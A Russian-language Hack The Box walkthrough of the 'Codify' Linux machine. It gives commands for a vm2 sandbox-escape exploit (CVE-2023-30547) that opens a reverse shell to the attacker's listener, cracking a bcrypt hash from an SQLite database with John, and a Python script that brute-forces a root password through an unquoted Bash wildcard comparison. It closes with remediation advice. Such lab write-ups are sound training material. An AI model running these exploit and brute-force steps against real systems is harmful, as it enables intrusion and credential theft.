
Прохождение Codify (Linux - Easy). Эксплуатирует RCE-уязвимость в vm2 (CVE-2023-30547), извлекает хэши из SQLite-базы данных, взламывает Bcrypt с помощью John и повышает привилегии через сравнение с подстановочными символами Bash в `mysql-backup.sh`.
Полный разбор и прохождение пентеста машины Codify на Hack The Box.
| Поле | Значение |
|---|---|
| Название | Codify |
| ОС | Linux |
| Сложность | Лёгкая |
| Ключевые концепции | vm2 RCE (CVE-2023-30547), перечисление БД SQLite, взлом Bcrypt, эксплуатация подстановочных символов в Bash |
[Nmap-сканирование: порты 22, 80, 3000] ➡️ [Обнаружено приложение-песочница Node.js (vm2)]
⬇️
[CVE-2023-30547: обход песочницы vm2 (RCE)] ➡️ [Reverse Shell под 'svc']
⬇️
[Перечисление SQLite: /var/www/contact/tickets.db] ➡️ [Извлечение bcrypt-хэша Джошуа]
⬇️
[John the Ripper (rockyou.txt)] ➡️ [SSH под 'joshua'] ➡️ [Чтение user.txt]
⬇️
[Проверка sudo: /opt/scripts/mysql-backup.sh] ➡️ [Уязвимость сравнения с подстановочными символами]
⬇️
[Python-скрипт брутфорса] ➡️ [Извлечение root-пароля MySQL] ➡️ [su root] ➡️ [Чтение root.txt]
Быстрое сканирование всех 65 535 TCP-портов для обнаружения открытых сервисов:
Bash
nmap -Pn -n -sS -p- --min-rate 5000 --open <TARGET_IP>
Детальное перечисление на портах 22, 80, 3000:
Bash
nmap -sVC -p 22,80,3000 <TARGET_IP>
Веб-приложение, работающее на порту 3000, использует уязвимую версию библиотеки-песочницы vm2 для Node.js.
Клонируйте публичный репозиторий с эксплойтом:
Bash
git clone [https://github.com/user0x1337/CVE-2023-30547](https://github.com/user0x1337/CVE-2023-30547)
cd CVE-2023-30547
Запустите локальный слушатель Netcat на вашей атакующей машине:
Bash
ncat -lnvp 4444
Выполните эксплойт, нацеленный на уязвимое веб-приложение:
Bash
python3 exploit.py --url "http://<TARGET_IP>:3000" --lhost <YOUR_IP> --lport 4444
Проверьте полученную оболочку первоначального доступа:
Bash
whoami
Перейдите в веб-каталог /var/www/contact и изучите базу данных SQLite:
Bash
cd /var/www/contact
ls -la
sqlite3 tickets.db
Извлеките bcrypt-хэш Джошуа:
SQL
SELECT password FROM users WHERE username='joshua';
(Нажмите CTRL + d для выхода)
Взломайте извлечённый хэш с помощью John the Ripper и rockyou.txt:
Bash
echo "<HASH_BCRYPT>" > hash.txt
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Авторизуйтесь по SSH, используя взломанные учётные данные Джошуа:
Bash
ssh joshua@<TARGET_IP>
cat user.txt
Проверьте разрешённые команды sudo для пользователя joshua:
Bash
sudo -l
Вывод: (ALL : ALL) NOPASSWD: /opt/scripts/mysql-backup.sh
Изучите /opt/scripts/mysql-backup.sh:
Bash
cat /opt/scripts/mysql-backup.sh
Уязвимость: Скрипт использует сравнение с шаблоном без кавычек в Bash ([[ $USER_PASS == $DB_PASS* ]]). Это позволяет подстановочным символам (*) в пользовательском вводе выполнять посимвольный перебор реального пароля.
Создайте bruteforce.py для посимвольного извлечения root-пароля:
Python
import string
import subprocess
all_characters = list(string.ascii_letters + string.digits)
password = ""
found = False
while not found:
for character in all_characters:
# Test password + character + wildcard (*)
command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
if "Password confirmed!" in output:
password += character
print(f"Found: {password}")
break
else:
found = True
print(f"Root Password: {password}")
Запустите скрипт для извлечения пароля:
Bash
python3 bruteforce.py
Переключитесь в контекст пользователя root, используя извлечённый пароль:
Bash
su root
cat /root/root.txt
Обновление библиотек Node.js: Откажитесь от использования уязвимых библиотек-песочниц, таких как vm2 (CVE-2023-30547), или обновите их.
Безопасные Bash-скрипты: Всегда заключайте переменные в кавычки при операциях сравнения строк ([[ "$USER_PASS" == "$DB_PASS" ]]), чтобы предотвратить непреднамеренное сопоставление с шаблоном и внедрение подстановочных символов в привилегированных скриптах.